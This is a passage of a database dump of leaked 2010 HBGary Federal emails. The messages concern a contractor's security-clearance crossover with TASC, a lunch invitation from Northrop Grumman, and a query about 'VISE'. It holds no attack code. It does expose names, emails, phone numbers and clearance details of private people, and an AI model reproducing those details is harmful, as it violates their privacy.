<CHRISTOPHER.CLAIR@tasc.com>','Re: Ted Vera','Ok.  One more question.  Was it submitted as an ISA cross-overFrom my iPhoneOn Mar 12, 2010, at 1:09 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nSecurity says he was submitted for an ISA.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 1:01 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSounds good.  Any further information on Ted&#39;s\r\nclearance?  Was it submitted for an ISSA or ISA?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 12:55 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat, please call me after you are done and I will meet you.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12,\r\n2010 7:09 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk.  Briefing starts at 830.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 7:06 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nWhat time are you being briefed?  Maybe we can grab a cup of coffee after\r\nthat.  We&#39;ll discuss next steps then but I do not believe you need go to\r\nthe customer site.  All I need is notification that your clearance\r\ncrossedover.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 9:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nAgreed.  Well I believe I am supposed to get briefed on Tuesday at your\r\nfacility.  So anytime after that.  Or do I need to go out to the\r\ncustomer facility for any briefings/badging? or does the Tuesday briefing\r\nsuffice?\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 9:45 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Good point, I&#39;ll check with our security to make sure he was submitted for\r\nISA.  I&#39;ll get back to you ASAP.  I&#39;d love to start talking about the\r\nCOIN work.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 3/11/2010 9:30 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Ted Vera\r\n&gt;\r\n&gt; Wow I don&#39;t understand?  He was fully cleared ISA prior to leaving\r\nNorthrop and had an SCI in JPAS I am pretty sure so it really catches me by\r\nsurprise that he would need to start from scratch.  Do you have any\r\ninsight from past experience as to why this would be?  Is it possible he\r\nwas submitted for an ISSA like me by accident?\r\n&gt;\r\n&gt; I know that customers security is pretty cagey with answers.\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; I believe he only had a ISA.\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Thu 3/11/2010 5:02 PM\r\n&gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; Subject: Re: Ted Vera\r\n&gt; &gt;\r\n&gt; &gt; Is this for an ISA or ISSA?\r\n&gt; &gt;\r\n&gt; &gt; Aaron\r\n&gt; &gt;\r\n&gt; &gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n&gt; &gt;\r\n&gt; &gt; &gt; Hi Aaron,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I got this bit of news in the mail.  Were you aware of\r\nthis?  We are looking at 16 months to clear him for an initial.  How\r\ndo you want to proceed?\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Let me know,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; _____________________________________________\r\n&gt; &gt; &gt; From: Willson, Jonathan G (TASC)\r\n&gt; &gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; &gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; &gt; Cc: Choate, William R (TASC)\r\n&gt; &gt; &gt; Subject: Ted Vera\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I received a notification from the customer today that they will\r\nnot be able to crossover Ted Vera&#39;s clearance. They said he must be submitted\r\nas an initial case. Please let me know how you would like to proceed.\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Thanks,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Jonathan Willson\r\n&gt; &gt; &gt; Personnel Security\r\n&gt; &gt; &gt; Northrop Grumman TASC\r\n&gt; &gt; &gt; 4801 Stonecroft Blvd.\r\n&gt; &gt; &gt; Chantilly, VA 20151\r\n&gt; &gt; &gt; 703.653.5779 (phone)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; 703.633.8460 (fax)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Aaron Barr\r\n&gt; &gt; CEO\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13786,'aaron_hbgary_com/13786.html'),(3987,'2010-03-12','\"Hakenson, Kurt E (IT Solutions)\" <kurt.hakenson@ngc.com>','/aaron@hbgary.com/new/1297002098.M584261P3547Q3988.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: Call me','Hi Aaron,\r\n\r\nCan you give me a couple days next week where you\'d be available for lunch up here in the BWI area?\r\n\r\nThanks!\r\n\r\nKurt E. Hakenson\r\nChief Technologist\r\nElectronic Systems Sector\r\nNorthrop Grumman Corporation\r\nPhone: 410-993-6499\r\nFax:   410-865-7877\r\n1580 W. Nursery Road\r\nLinthicum, MD 21090\r\n\r\n\"Embrace the Struggle\" -Zig Ziglar\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 10:12 AM\r\nTo: Hakenson, Kurt E (IT Solutions)\r\nSubject: EXTERNAL:Re: Call me\r\n\r\nHey Kurt,\r\n\r\nHows it going?\r\n\r\nI do have 1 or 2 malware analysts with tickets if there is a need.  You mentioned 2 potential positions with the person you were talking with, I think up at the Fort.  Do you still want to set up a meeting?\r\n\r\nAaron\r\n\r\nOn Feb 24, 2010, at 9:28 PM, Hakenson, Kurt E (IT Solutions) wrote:\r\n\r\n\r\n	410-919-8067\r\n	\r\n	\r\n	\r\n	Kurt Hakenson\r\n	Chief Technologist\r\n	Electronic Systems Sector\r\n	Northrop Grumman Corp.\r\n	410-993-6499\r\n	\r\n	\"It is not necessary to change.  Survival is not mandatory.\" ~W. Edwards Deming\r\n	\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13163,'aaron_hbgary_com/13163.html'),(3988,'2010-03-12','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297002098.M792907P3547Q3989.eml','aaron@hbgary.com','VISE, more info','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\n&nbsp;\r\n\r\nAl shared that there is an opportunity for a takeaway on\r\nVISE.&nbsp; I vaguely remember this work from my days at Booz, can you fill me\r\nin on the details?\r\n\r\n&nbsp;\r\n\r\nJohn Lovegrove\r\n\r\nDirector\r\n\r\nOffice: (703) 449-3812\r\n\r\nCell: (571) 294-5154\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTASC INTERNAL\r\nDISTRIBUTION ONLY\r\nThis e-mail, including\r\nattachments, is intended for the exclusive use of the person or entity to whom it\r\nis addressed and may contain confidential or privileged information. If the\r\nreader of this e-mail is not the intended recipient or his or her authorized\r\nagent, the reader is hereby notified that any dissemination, distribution or\r\ncopying of this e-mail is prohibited. If you think that you have received this\r\ne-mail in error, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1229,'aaron_hbgary_com/1229.html'),(3989,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002098.M8827P3547Q3985.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Ted Vera','From my iPhoneBegin forwarded message:From: &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nDate: March 12, 2010 1:09:01 PM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Ted Vera\r\n\r\n\r\n\r\n\r\nSecurity says he was submitted for an ISA.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 1:01 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSounds good.  Any further information on Ted&#39;s\r\nclearance?  Was it submitted for an ISSA or ISA?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 12:55 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat, please call me after you are done and I will meet you.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12,\r\n2010 7:09 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk.  Briefing starts at 830.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 7:06 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nWhat time are you being briefed?  Maybe we can grab a cup of coffee after\r\nthat.  We&#39;ll discuss next steps then but I do not believe you need go to\r\nthe customer site.  All I need is notification that your clearance\r\ncrossedover.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 9:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nAgreed.  Well I believe I am supposed to get briefed on Tuesday at your\r\nfacility.  So anytime after that.  Or do I need to go out to the\r\ncustomer facility for any briefings/badging? or does the Tuesday briefing\r\nsuffice?\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 9:45 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Good point, I&#39;ll check with our security to make sure he was submitted for\r\nISA.  I&#39;ll get back to you ASAP.  I&#39;d love to start talking about the\r\nCOIN work.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 3/11/2010 9:30 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Ted Vera\r\n&gt;\r\n&gt; Wow I don&#39;t understand?  He was fully cleared ISA prior to leaving\r\nNorthrop and had an SCI in JPAS I am pretty sure so it really catches me by\r\nsurprise that he would need to start from scratch.  Do you have any\r\ninsight from past experience as to why this would be?  Is it possible he\r\nwas submitted for an ISSA like me by accident?\r\n&gt;\r\n&gt; I know that customers security is pretty cagey with answers.\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; I believe he only had a ISA.\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Thu 3/11/2010 5:02 PM\r\n&gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; Subject: Re: Ted Vera\r\n&gt; &gt;\r\n&gt; &gt; Is this for an ISA or ISSA?\r\n&gt; &gt;\r\n&gt; &gt; Aaron\r\n&gt; &gt;\r\n&gt; &gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n&gt; &gt;\r\n&gt; &gt; &gt; Hi Aaron,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I got this bit of news in the mail.  Were you aware of\r\nthis?  We are looking at 16 months to clear him for an initial.  How\r\ndo you want to proceed?\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Let me know,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; _____________________________________________\r\n&gt; &gt; &gt; From: Willson, Jonathan G (TASC)\r\n&gt; &gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; &gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; &gt; Cc: Choate, William R (TASC)\r\n&gt; &gt; &gt; Subject: Ted Vera\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I received a notification from the customer today that they will\r\nnot be able to crossover Ted Vera&#39;s clearance. They said he must be submitted\r\nas an initial case. Please let me know how you would like to proceed.\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Thanks,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Jonathan Willson\r\n&gt; &gt; &gt; Personnel Security\r\n&gt; &gt; &gt; Northrop Grumman TASC\r\n&gt; &gt; &gt; 4801 Stonecroft Blvd.\r\n&gt; &gt; &gt; Chantilly, VA 20151\r\n&gt; &gt; &gt; 703.653.5779 (phone)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; 703.633.8460 (fax)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Aaron Barr\r\n&gt; &gt; CEO\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7125,'aaron_hbgary_com/7125.html'),(3990,'2010-03-12','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297002098.M997236P3547Q3990.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Ted Vera','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nISA &#8211; I checked with security.\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 1:48 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk. &nbsp;One more question. &nbsp;Was it submitted as an\r\nISA cross-over\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 1:09 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSecurity\r\nsays he was submitted for an ISA.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 1:01 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSounds\r\ngood. &nbsp;Any further information on Ted\'s clearance? &nbsp;Was it submitted\r\nfor an ISSA or ISA?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMar 12, 2010, at 12:55 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat,\r\nplease call me after you are done and I will meet you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, March 12,\r\n2010 7:09 AM\r\nTo:&nbsp;Clair, Chris (TASC)\r\nSubject:&nbsp;Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk.\r\n&nbsp;Briefing starts at 830.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 7:06 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nWhat time are you being briefed?&nbsp; Maybe we can grab a cup of coffee after\r\nthat.&nbsp; We\'ll discuss next steps then but I do not believe you need go to\r\nthe customer site.&nbsp; All I need is notification that your clearance crossedover.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 9:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nAgreed.&nbsp; Well I believe I am supposed to get briefed on Tuesday at your\r\nfacility.&nbsp; So anytime after that.&nbsp; Or do I need to go out to the\r\ncustomer facility for any briefings/badging? or does the Tuesday briefing\r\nsuffice?\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 9:45 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Good point, I\'ll check with our security to make sure he was submitted for\r\nISA.&nbsp; I\'ll get back to you ASAP.&nbsp; I\'d love to start talking about the\r\nCOIN work.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 3/11/2010 9:30 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Ted Vera\r\n&gt;\r\n&gt; Wow I don\'t understand?&nbsp; He was fully cleared ISA prior to leaving Northrop\r\nand had an SCI in JPAS I am pretty sure so it really catches me by surprise\r\nthat he would need to start from scratch.&nbsp; Do you have any insight from\r\npast experience as to why this would be?&nbsp; Is it possible he was submitted\r\nfor an ISSA like me by accident?\r\n&gt;\r\n&gt; I know that customers security is pretty cagey with answers.\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; I believe he only had a ISA.\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Thu 3/11/2010 5:02 PM\r\n&gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; Subject: Re: Ted Vera\r\n&gt; &gt;\r\n&gt; &gt; Is this for an ISA or ISSA?\r\n&gt; &gt;\r\n&gt; &gt; Aaron\r\n&gt; &gt;\r\n&gt; &gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n&gt; &gt;\r\n&gt; &gt; &gt; Hi Aaron,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I got this bit of news in the mail.&nbsp; Were you aware of\r\nthis?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How\r\ndo you want to proceed?\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Let me know,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; _____________________________________________\r\n&gt; &gt; &gt; From: Willson, Jonathan G (TASC)\r\n&gt; &gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; &gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; &gt; Cc: Choate, William R (TASC)\r\n&gt; &gt; &gt; Subject: Ted Vera\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I received a notification from the customer today that they will\r\nnot be able to crossover Ted Vera\'s clearance. They said he must be submitted\r\nas an initial case. Please let me know how you would like to proceed.\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Thanks,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Jonathan Willson\r\n&gt; &gt; &gt; Personnel Security\r\n&gt; &gt; &gt; Northrop Grumman TASC\r\n&gt; &gt; &gt; 4801 Stonecroft Blvd.\r\n&gt; &gt; &gt; Chantilly, VA 20151\r\n&gt; &gt; &gt; 703.653.5779 (phone)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; 703.633.8460 (fax)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Aaron Barr\r\n&gt; &gt; CEO\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12076,'aaron_hbgary_com/12076.html'),(3991,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002099.M194394P3547Q3991.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Ted Vera','Thanks sorry for being a pest just trying to figure it out.  There is a box on the form to check if it&#39;s a cross-over or new but they can probably figure that out.\r\nAaronFrom my iPhoneOn Mar 12, 2010, at 2:40 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nISA – I checked with security.\r\n\r\n \r\n\r\nChris \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 1:48 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOk.  One more question.  Was it submitted as an\r\nISA cross-over\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 1:09 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSecurity\r\nsays he was submitted for an ISA.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Friday, March 12, 2010 1:01 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSounds\r\ngood.  Any further information on Ted&#39;s clearance?  Was it submitted\r\nfor an ISSA or ISA?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMar 12, 2010, at 12:55 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat,\r\nplease call me after you are done and I will meet you.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Friday, March 12,\r\n2010 7:09 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted 